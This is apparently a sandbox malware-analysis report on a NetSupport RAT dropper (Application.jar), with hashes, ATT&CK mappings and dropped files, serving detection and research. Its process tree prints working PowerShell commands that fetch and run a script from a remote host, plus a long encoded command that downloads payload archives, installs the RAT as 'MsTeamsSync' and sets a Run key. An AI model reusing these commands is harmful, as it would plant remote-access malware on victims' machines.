netsupport | 47131d54c85921d4c80a9c5127b1051fa6fc5edf47b705d42ec3c4a19190734c

Analysis

max time kernel
93s
max time network
132s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
08-10-2024 20:51

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Application.jar
Size

9KB
MD5

7416cf0ca0e69c71d0eb9e2f98526342
SHA1

aa735c8b53d81799dabb274896a38837e7f57a1d
SHA256

47131d54c85921d4c80a9c5127b1051fa6fc5edf47b705d42ec3c4a19190734c
SHA512

cf497aecef016217ebb76c95a522f575391cc6678ec54c33a91b0e30eec6471d7f14d905d6023cc65ddd1943b9d7342d76e77e99fa2f0d651cfdb4faf6531728
SSDEEP

192:VTx9uXENIM9zje1EIMTLg+8WWiqhSdS8gQ/9t4PIlHlZb99XP8d:L9uXEaS2t1+VohSdbzwI5f9Ja

Score

10^/10

netsupport discovery execution persistence rat

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://togofund.com/arks/3corn.zip

exe.dropper

https://togofund.com/arks/corn1.zip

exe.dropper

https://togofund.com/arks/corn2.zip

exe.dropper

https://togofund.com/arks/4corn.zip

exe.dropper

https://togofund.com/fide/

Signatures

NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
rat netsupport

Blocklisted process makes network request 1 IoCs

flow	pid	Process
9	60	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
60	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4032	client32.exe

Loads dropped DLL 6 IoCs

pid	Process
4032	client32.exe
4032	client32.exe
4032	client32.exe
4032	client32.exe
4032	client32.exe
4032	client32.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MsTeamsSync = "C:\\Users\\Admin\\AppData\\Roaming\\MsTeamsSync\\client32.exe"	powershell.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\saint_1869.ps1	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	client32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
60	powershell.exe
60	powershell.exe
3764	powershell.exe
3764	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	60	powershell.exe
Token: SeDebugPrivilege	3764	powershell.exe
Token: SeSecurityPrivilege	4032	client32.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4032	client32.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 8 wrote to memory of 3272	8	java.exe	87
PID 8 wrote to memory of 3272	8	java.exe	87
PID 3272 wrote to memory of 60	3272	cmd.exe	89
PID 3272 wrote to memory of 60	3272	cmd.exe	89
PID 60 wrote to memory of 3764	60	powershell.exe	90
PID 60 wrote to memory of 3764	60	powershell.exe	90
PID 3764 wrote to memory of 4032	3764	powershell.exe	94
PID 3764 wrote to memory of 4032	3764	powershell.exe	94
PID 3764 wrote to memory of 4032	3764	powershell.exe	94

C:\Program Files (x86)\Common Files\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\Application.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:8
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c powershell -nologo -noninteractive -command Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser -Force; Invoke-WebRequest -Uri https://www.xcodll.com/application/saint_1869.ps1 -OutFile C:\Windows\Tasks\saint_1869.ps1; IEX('C:\Windows\Tasks\saint_1869.ps1')
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3272
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noninteractive -command Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser -Force; Invoke-WebRequest -Uri https://www.xcodll.com/application/saint_1869.ps1 -OutFile C:\Windows\Tasks\saint_1869.ps1; IEX('C:\Windows\Tasks\saint_1869.ps1')
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:60
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nOPR -eXEcutiOnpo BYPASS -WI HId -Enc JABhAGYAUQBaAEoAUgAzAGYAPQAnAEkAYwBVADAAbABzAC4AegBpAHAAJwA7ACAAJABXAEkAbgBHAGMAcwA9ACcATAB0AFQANgBiAGwAUQAuAHoAaQBwACcAOwAgACQATgAxAHgAOABCADMAZgA9ACcAaAB0AHQAcABzADoALwAvAHQAbwBnAG8AZgB1AG4AZAAuAGMAbwBtAC8AYQByAGsAcwAvADMAYwBvAHIAbgAuAHoAaQBwACcAOwAgACQAWgBrAG0AbQBKADYAagBWAD0AJwBNAHMAVABlAGEAbQBzAFMAeQBuAGMAJwA7ACAAJABQAFYAYQBUAFYAZwA3ADcAPQAnAHcAVQBaAG4AbgAuAHoAaQBwACcAOwAgACQAaQA5ADUAagA4AGMAUAA9ACcAaAB0AHQAcABzADoALwAvAHQAbwBnAG8AZgB1AG4AZAAuAGMAbwBtAC8AYQByAGsAcwAvAGMAbwByAG4AMQAuAHoAaQBwACcAOwAgACQANAB2AGgAVwBCAD0AJwBoAHQAdABwAHMAOgAvAC8AdABvAGcAbwBmAHUAbgBkAC4AYwBvAG0ALwBhAHIAawBzAC8AYwBvAHIAbgAyAC4AegBpAHAAJwA7ACAAWwBuAGUAVAAuAFMARQByAFYASQBjAGUAUABPAEkAbgB0AE0AYQBOAGEAZwBlAFIAXQA6ADoAUwBFAEMAdQBSAGkAdAB5AHAAUgBPAFQAbwBjAE8ATAAgAD0AIABbAG4AZQBUAC4AUwBlAGMAVQBSAEkAdAB5AFAAcgBvAHQATwBjAG8ATAB0AFkAUABlAF0AOgA6AHQAbABzADEAMgA7ACAAJABRAHIAdABEAHMAVQA9ACcAaAB0AHQAcABzADoALwAvAHQAbwBnAG8AZgB1AG4AZAAuAGMAbwBtAC8AYQByAGsAcwAvADQAYwBvAHIAbgAuAHoAaQBwACcAOwAgACQANABGAFgANQBBAHIAYQA9ACcAUwBYAEEAagA0ADAAMABKAC4AegBpAHAAJwA7ACAAJABtAEsAZgB3AE0AWAByAG4APQBnAGMATQAgAEUAeABQAGEATgBEAC0AYQByAGMAaABJAFYAZQAgAC0ARQByAFIAbwBSAEEAQwB0AGkAbwBuACAAUwBJAEwARQBOAHQAbAB5AGMAbwBOAHQASQBuAFUAZQA7ACAAQwBIAEQAaQByACAAJABFAG4AVgA6AEEAUABQAGQAYQB0AGEAOwAgACQAQgBmAHUAVABNAD0AZwBjAE0AIABTAHQAYQBSAFQALQBCAGkAVABzAHQAcgBhAE4AUwBmAGUAUgAgAC0ARQBSAHIAbwByAGEAQwBUAEkAbwBuACAAUwBpAGwARQBOAFQAbABZAGMAbwBuAFQASQBOAHUARQA7ACAAJABJAEoAaQBFAEoAPQAiAHsAMAB9AFwAewAxAH0AIgAgAC0AZgAgACQARQBuAHYAOgBBAFAAUABkAGEAVABBACwAIAAkAFAAVgBhAFQAVgBnADcANwA7ACAAJABvAHYAVwBIAEIAPQAiAHsAMAB9AFwAewAxAH0AIgAgAC0AZgAgACQARQBuAFYAOgBhAHAAUABEAEEAdABBACwAIAAkAGEAZgBRAFoASgBSADMAZgA7ACAAJABEAFcAQQByAEkARQBtADQAPQAiAHsAMAB9AFwAewAxAH0AIgAgAC0AZgAgACQARQBuAFYAOgBhAHAAUABEAEEAdABBACwAIAAkAFcASQBuAEcAYwBzADsAIAAkAFMAaABuAEgAMAA2AEwAMAA9AGoAbwBJAG4ALQBwAGEAdABoACAALQBQAGEAdABIACAAJABFAG4AdgA6AEEAUABQAGQAQQBUAEEAIAAtAEMAaABpAGwAZABwAEEAdABoACAAJAA0AEYAWAA1AEEAcgBhADsAIAAkAGsAcgBwADEAYgBZAGwANAA9AEoAbwBJAE4ALQBQAGEAdABIACAALQBwAEEAdABoACAAJABFAE4AdgA6AEEAcABwAGQAYQBUAGEAIAAtAEMAaABpAGwAZABQAEEAdABIACAAJABaAGsAbQBtAEoANgBqAFYAOwAgACQAcQBmAFgAMQBFAEQAPQAiAGIASQB0AHMAYQBEAE0AaQBuAC4ARQBYAGUAIAAvAFQAUgBhAG4AcwBGAGUAcgAgAE8ANABHAE8AbABmAHoAUQAgAC8ARABPAFcAbgBMAG8AYQBEACAALwBwAHIASQBvAFIAaQB0AFkAIABOAE8AUgBNAEEATAAgAHsAMAB9ACAAewAxAH0AIgAgAC0AZgAgACQANAB2AGgAVwBCACwAIAAkAFMAaABuAEgAMAA2AEwAMAA7ACAAJABGAFUARQAwAHMAbwBHADkAPQAiAGIAaQB0AHMAYQBkAG0AaQBuAC4ARQB4AEUAIAAvAFQAcgBBAG4AcwBGAGUAUgAgAEwAZABLAGoAZQBlAEYAIAAvAGQATwBXAG4AbABPAGEAZAAgAC8AUABSAEkATwByAEkAdABZACAATgBPAHIATQBBAEwAIAB7ADAAfQAgAHsAMQB9ACIAIAAtAGYAIAAkAGkAOQA1AGoAOABjAFAALAAgACQARABXAEEAcgBJAEUAbQA0ADsAIAAkADkAYwBDAG0AcgA9ACIAQgBpAFQAUwBhAEQATQBJAE4ALgBFAHgAZQAgAC8AVABSAGEAbgBTAEYARQBSACAARgB3AFoANwAwAFIAYQBIACAALwBkAG8AVwBuAGwATwBhAEQAIAAvAHAAcgBJAG8AUgBpAHQAWQAgAE4ATwByAE0AQQBsACAAewAwAH0AIAB7ADEAfQAiACAALQBmACAAJABOADEAeAA4AEIAMwBmACwAIAAkAEkASgBpAEUASgA7ACAAJABRAGMAVQBiAGEAPQAnAGIAaQB0AHMAYQBkAG0AaQBuAC4ARQB4AEUAIAAvAFQAcgBBAG4AcwBGAGUAUgAgAEwAZABLAGoAZQBlAEYAIAAvAGQATwBXAG4AbABPAGEAZAAgAC8AUABSAEkATwByAEkAdABZACAATgBPAHIATQBBAEwAJwAsACAAJABRAHIAdABEAHMAVQAsACAAJABvAHYAVwBIAEIAIAAtAEoAbwBpAE4AIAAnACAAJwA7ACAASQBGACAAKAAkAG0ASwBmAHcATQBYAHIAbgApACAAewAgAEkAZgAgACgAJABCAGYAdQBUAE0AKQAgAHsAIABzAHQAYQByAFQALQBiAGkAVABTAHQAcgBhAE4AcwBGAEUAUgAgAC0AUwBPAFUAcgBjAEUAIAAkAE4AMQB4ADgAQgAzAGYAIAAtAGQARQBTAFQASQBOAEEAdABpAE8AbgAgACQASQBKAGkARQBKADsAIABTAHQAQQBSAFQALQBCAGkAVABzAHQAUgBhAG4AcwBGAEUAcgAgAC0AUwBPAFUAcgBjAEUAIAAkAFEAcgB0AEQAcwBVACAALQBkAEUAcwB0AGkATgBBAHQASQBvAG4AIAAkAG8AdgBXAEgAQgA7ACAAcwB0AEEAUgB0AC0AQgBJAFQAcwB0AFIAQQBOAHMARgBFAHIAIAAtAFMATwBVAFIAQwBFACAAJABpADkANQBqADgAYwBQACAALQBkAEUAcwBUAEkAbgBhAHQAaQBvAE4AIAAkAEQAVwBBAHIASQBFAG0ANAA7ACAAUwB0AGEAcgBUAC0AQgBpAHQAUwBUAFIAQQBuAHMARgBFAFIAIAAtAFMATwB1AHIAQwBFACAAJAA0AHYAaABXAEIAIAAtAGQARQBTAFQAaQBuAEEAVABpAG8ATgAgACQAUwBoAG4ASAAwADYATAAwADsAIAB9ACAARQBsAFMARQAgAHsASQBuAHYATwBrAEUALQBlAFgAcAByAEUAUwBzAGkAbwBOACAALQBDAE8AbQBNAGEATgBkACAAJABxAGYAWAAxAEUARAA7ACAAaQBlAHgAIAAtAGMAbwBtAG0AYQBuAGQAIAAkAEYAVQBFADAAcwBvAEcAOQA7ACAAaQBlAHgAIAAtAGMAbwBtAG0AYQBuAGQAIAAkAFEAYwBVAGIAYQA7ACAAJgAgACQAOQBjAEMAbQByADsAIAB9ACAARQBYAHAAYQBuAGQALQBhAHIAYwBoAGkAdgBlACAALQBQAEEAdABIACAAJABvAHYAVwBIAEIAIAAtAEQARQBTAHQAaQBOAEEAdABJAE8ATgBwAGEAdABoACAAJABrAHIAcAAxAGIAWQBsADQAOwAgAEUAeABQAEEATgBkAC0AQQBSAEMAaABpAHYARQAgAC0AcABhAFQASAAgACQARABXAEEAcgBJAEUAbQA0ACAALQBkAEUAUwBUAEkATgBhAHQASQBvAG4AUABBAHQASAAgACQAawByAHAAMQBiAFkAbAA0ADsAIABFAHgAUABhAE4AZAAtAGEAcgBDAEgASQB2AGUAIAAtAFAAQQBUAGgAIAAkAFMAaABuAEgAMAA2AEwAMAAgAC0ARABFAHMAdABJAG4AQQB0AEkAbwBuAFAAQQBUAEgAIAAkAGsAcgBwADEAYgBZAGwANAA7ACAAZQBYAHAAQQBOAGQALQBBAFIAQwBIAGkAdgBFACAALQBwAGEAVABIACAAJABJAEoAaQBFAEoAIAAtAEQAZQBTAHQAaQBOAGEAVABpAG8AbgBwAEEAVABoACAAJABrAHIAcAAxAGIAWQBsADQAOwAgAFIASQAgAC0AUABBAHQASAAgACQAbwB2AFcASABCADsAIAByAE0AIAAtAHAAYQBUAEgAIAAkAFMAaABuAEgAMAA2AEwAMAA7ACAARQByAGEAUwBlACAALQBQAEEAVABoACAAJABJAEoAaQBFAEoAOwAgAHIATQAgAC0AcABhAHQAaAAgACQARABXAEEAcgBJAEUAbQA0ADsAIAB9ACAAZQBsAHMAZQAgAHsAIAAkADMATQBUAG4AdwBTAGoAPQBAACgAJwBIAFQAQwBUAEwAMwAyAC4ARABMAEwAJwAsACAAJwBjAGwAaQBlAG4AdAAzADIALgBpAG4AaQAnACwAIAAnAG4AcwBrAGIAZgBsAHQAcgAuAGkAbgBmACcALAAgACcAQQB1AGQAaQBvAEMAYQBwAHQAdQByAGUALgBkAGwAbAAnACwAIAAnAFAAQwBJAEMASABFAEsALgBEAEwATAAnACwAIAAnAHAAYwBpAGMAYQBwAGkALgBkAGwAbAAnACwAIAAnAG4AcwBtAF8AdgBwAHIAbwAuAGkAbgBpACcALAAgACcAYwBsAGkAZQBuAHQAMwAyAC4AZQB4AGUAJwAsACAAJwBtAHMAdgBjAHIAMQAwADAALgBkAGwAbAAnACwAIAAnAFAAQwBJAEMATAAzADIALgBEAEwATAAnACwAIAAnAFQAQwBDAFQATAAzADIALgBEAEwATAAnACwAIAAnAE4AUwBNAC4ATABJAEMAJwAsACAAJwByAGUAbQBjAG0AZABzAHQAdQBiAC4AZQB4AGUAJwApADsAIABuAGkAIAAtAHAAQQBUAGgAIAAkAGUATgBWADoAQQBQAHAARABhAFQAQQAgAC0ATgBhAE0ARQAgACQAWgBrAG0AbQBKADYAagBWACAALQBJAHQARQBtAHQAeQBwAEUAIAAnAGQAaQByAGUAYwB0AG8AcgB5ACcAOwAgACQAawAxAHUASgBvAD0AJwBoAHQAdABwAHMAOgAvAC8AdABvAGcAbwBmAHUAbgBkAC4AYwBvAG0ALwBmAGkAZABlAC8AJwA7ACAASQBmACAAKAAkAEIAZgB1AFQATQApACAAewAgACQAMwBNAFQAbgB3AFMAagAgAHwAIABGAG8AUgBlAGEAQwBoACAAewAgACQAdABFAEcASwBBAD0AJABrADEAdQBKAG8AKwAkAF8AOwAgACQAaABvAEsASABGAD0AagBPAGkATgAtAFAAQQB0AGgAIAAtAFAAQQB0AGgAIAAkAGsAcgBwADEAYgBZAGwANAAgAC0AYwBIAEkAbABEAFAAYQB0AEgAIAAkAF8AOwAgAHMAdABhAHIAdAAtAEIASQBUAFMAVAByAEEATgBzAEYAZQByACAALQBzAE8AVQByAGMARQAgACQAdABFAEcASwBBACAALQBkAEUAcwBUAEkATgBhAHQASQBPAG4AIAAkAGgAbwBLAEgARgA7ACAAfQA7AH0AIABlAGwAcwBlACAAewAgACQAMwBNAFQAbgB3AFMAagAgAHwAIABmAG8AUgBFAGEAQwBIACAAewAgACQAdABFAEcASwBBAD0AJABrADEAdQBKAG8AKwAkAF8AOwAgACQAaABvAEsASABGAD0AagBPAGkATgAtAFAAQQB0AGgAIAAtAFAAQQB0AGgAIAAkAGsAcgBwADEAYgBZAGwANAAgAC0AYwBIAEkAbABEAFAAYQB0AEgAIAAkAF8AOwAgACQATQA4AFcAUABMAD0AIgBiAGkAdABTAGEARABtAGkATgAuAEUAeABlACAALwBUAFIAQQBuAFMARgBFAFIAIABvAEcAVgB3ADgAdABtAEwAIAAvAEQATwB3AE4ATABPAEEAZAAgAC8AUAByAEkATwBSAGkAdAB5ACAAbgBvAHIATQBhAGwAIAAkAHQARQBHAEsAQQAgACQAaABvAEsASABGACIAOwAgAGkARQBYACAALQBjAE8AbQBtAEEATgBEACAAJABNADgAVwBQAEwAOwB9ADsAIAB9ADsAIAB9ADsAIAAkAFYAOABUAHgAcAA9AEcARQBUAC0AaQBUAGUAbQAgACQAawByAHAAMQBiAFkAbAA0ACAALQBGAE8AUgBDAGUAOwAgACQAVgA4AFQAeABwAC4AYQB0AFQAUgBJAEIAdQBUAEUAUwA9ACcASABpAGQAZABlAG4AJwA7ACAAQwBIAEQAaQByACAAJABrAHIAcAAxAGIAWQBsADQAOwAgACQARgBoAEYAbwBRAD0AJABrAHIAcAAxAGIAWQBsADQAKwAnAFwAYwBsAGkAZQBuAHQAMwAyAC4AZQB4AGUAJwA7ACAAbgBlAFcALQBJAFQAZQBtAHAAUgBPAFAARQByAHQAWQAgAC0AUABhAHQAaAAgACcASABLAEMAVQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AJwAgAC0ATgBhAE0ARQAgACQAWgBrAG0AbQBKADYAagBWACAALQB2AGEATAB1AGUAIAAkAEYAaABGAG8AUQAgAC0AUABSAG8AcABFAFIAdABZAFQAeQBwAEUAIAAnAFMAdAByAGkAbgBnACcAOwAgAHMAVABBAHIAdAAtAHAAcgBvAEMAZQBTAFMAIABjAGwAaQBlAG4AdAAzADIALgBlAHgAZQA7AA==
      4⤵
      Adds Run key to start application
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3764
    - - C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.exe
        
        "C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:4032

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
6c36bb464ae2e6ef913b83d7048e8e94

SHA1
4e073a932c58b067164f93b48ed10d62969f4776

SHA256
4230cb0a9d772f5ee4949502aeb7224fd304140246567dae5c1a37e451396848

SHA512
b50d381d923c78e586c3304f392f64b31a820802a09342edc4dcb7c12bc59207d044355ea3149242727b7e9806a2f3016bb8dbf6566beb16bc0c30d6a5d0629e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b0fc481e1059b4b1301d4112c0fee415

SHA1
06873d7f15b3673434f160d41b064646486eb05c

SHA256
f02a5fa530462fd721fd7f7b530f4bf4ed99155938d5fe601be4f6146a19bf05

SHA512
48b50f15d2ae2f90e89b95cd7d411bf73b91d750731e30b10df4fd571ecfa7c23d38ea16457527f3d7b2678cdfb4587618e08bb5ce3a0ea511893be235f65556

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_srr4u521.5rl.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\MsTeamsSync\HTCTL32.DLL

Filesize
320KB

MD5
2d3b207c8a48148296156e5725426c7f

SHA1
ad464eb7cf5c19c8a443ab5b590440b32dbc618f

SHA256
edfe2b923bfb5d1088de1611401f5c35ece91581e71503a5631647ac51f7d796

SHA512
55c791705993b83c9b26a8dbd545d7e149c42ee358ecece638128ee271e85b4fdbfd6fbae61d13533bf39ae752144e2cc2c5edcda955f18c37a785084db0860c

Download Submit
C:\Users\Admin\AppData\Roaming\MsTeamsSync\MSVCR100.dll

Filesize
755KB

MD5
0e37fbfa79d349d672456923ec5fbbe3

SHA1
4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

SHA256
8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

SHA512
2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

Download Submit
C:\Users\Admin\AppData\Roaming\MsTeamsSync\NSM.LIC

Filesize
251B

MD5
3589f7a4f84733c7b7bd2b09a66a254d

SHA1
37f81ddcf80c91e981c44e0eafcdb6d77a1f7678

SHA256
c6ef8a3d84ebe0230e87daf7b5f06ad1b80de62dfd5fb6dca60d2040bbb6ee63

SHA512
324a2c60a99cb59e6576b98757ddc81a0e702db0e72b479e559877d1c3a5ec2915012df2612ab33da254ac9067246532f66a582d0d6fa362369782979230721c

Download Submit
C:\Users\Admin\AppData\Roaming\MsTeamsSync\PCICL32.dll

Filesize
3.5MB

MD5
af76608b5cd0f689c0f0eb5ca049e71d

SHA1
af6559d12037f736ebd3326200c660fa88ffbc6d

SHA256
7344430e98aeedfc5b58e23a85e32fea8258f6f2b32d7819e6dea5803d7ad20b

SHA512
2fb8db47e5acc11b885e00eb91d421b70540d4d300a4a97a8ac6a7c94b981be219f1128f41fb3401ae6e4b5610acb81a861f47defd69cd689ba7f08634a45223

Download Submit
C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.exe

Filesize
104KB

MD5
f65f9a00a701a06ea714674a554ab400

SHA1
7769b3bfd3caf4038cf740dc40a40f15174893b5

SHA256
e7a78714ffe2e00aa7739fd0184ebb7b6ee239a7345079ab9074ba244f4e7f09

SHA512
76a278edd341c1d2befb1a12c42acb93f07d3d355d270b9a1041089f6f591ad8a6c7e2d2538c2594ad615475d2bff9a006273039eea84fdb1030cf2030767174

Download Submit
C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.ini

Filesize
647B

MD5
d1844f69e52b7499f8da7bd9efd38317

SHA1
daf85286f6d54d1ffc50c04c8f9983567138c365

SHA256
02f9b3a1de0872a80e3198a04b2adad1b3543c5731058fed5c7dfe1bd87dc87b

SHA512
aeb5aec7ff7913f50a3d29cfd7555a5d7065034a18d61354f63d9c98dccc2e60e58c2bd7712adb900fec438e9059a911a898f3db1039be80abfaccb0390f3dab

Download Submit
C:\Users\Admin\AppData\Roaming\MsTeamsSync\pcicapi.dll

Filesize
32KB

MD5
dcde2248d19c778a41aa165866dd52d0

SHA1
7ec84be84fe23f0b0093b647538737e1f19ebb03

SHA256
9074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917

SHA512
c5d170d420f1aeb9bcd606a282af6e8da04ae45c83d07faaacb73ff2e27f4188b09446ce508620124f6d9b447a40a23620cfb39b79f02b04bb9e513866352166

Download Submit
C:\Users\Admin\AppData\Roaming\MsTeamsSync\pcichek.dll

Filesize
18KB

MD5
a0b9388c5f18e27266a31f8c5765b263

SHA1
906f7e94f841d464d4da144f7c858fa2160e36db

SHA256
313117e723dda6ea3911faacd23f4405003fb651c73de8deff10b9eb5b4a058a

SHA512
6051a0b22af135b4433474dc7c6f53fb1c06844d0a30ed596a3c6c80644df511b023e140c4878867fa2578c79695fac2eb303aea87c0ecfc15a4ad264bd0b3cd

Download Submit
C:\Windows\Tasks\saint_1869.ps1

Filesize
7KB

MD5
0e49333de50a8a3db16f714990052c83

SHA1
2866de43c124f3942434c41f73d4de3015463180

SHA256
fe3abbdd4e00d96d32a444fa1201213100e1e26713db0fe8e6fd8dc1f1f7516f

SHA512
e7c744848ca0d48e7e0f1b76db9f781907584c586d5b1f0bd9349f592b29b52330b41c38391f747e0ddb79ecf5f3396d2d8ab7e3ec7df24d69fe06cdab08ec1f

Download Submit
memory/8-13-0x000001CB37E70000-0x000001CB380E0000-memory.dmp

Filesize
2.4MB

Download
memory/8-2-0x000001CB37E70000-0x000001CB380E0000-memory.dmp

Filesize
2.4MB

Download
memory/8-12-0x000001CB36660000-0x000001CB36661000-memory.dmp

Filesize
4KB

Download
memory/60-25-0x00007FFD4E7C0000-0x00007FFD4F281000-memory.dmp

Filesize
10.8MB

Download
memory/60-26-0x00007FFD4E7C0000-0x00007FFD4F281000-memory.dmp

Filesize
10.8MB

Download
memory/60-20-0x0000015FED360000-0x0000015FED382000-memory.dmp

Filesize
136KB

Download
memory/60-14-0x00007FFD4E7C3000-0x00007FFD4E7C5000-memory.dmp

Filesize
8KB

Download
memory/60-141-0x00007FFD4E7C0000-0x00007FFD4F281000-memory.dmp

Filesize
10.8MB

Download
memory/60-140-0x00007FFD4E7C0000-0x00007FFD4F281000-memory.dmp

Filesize
10.8MB

Download
memory/3764-47-0x0000026BCD490000-0x0000026BCD49A000-memory.dmp

Filesize
40KB

Download
memory/3764-46-0x0000026BCD4A0000-0x0000026BCD4B2000-memory.dmp

Filesize
72KB

Download
memory/3764-45-0x0000026BCD460000-0x0000026BCD474000-memory.dmp

Filesize
80KB

Download
memory/3764-44-0x0000026BCD3B0000-0x0000026BCD3D6000-memory.dmp

Filesize
152KB

Download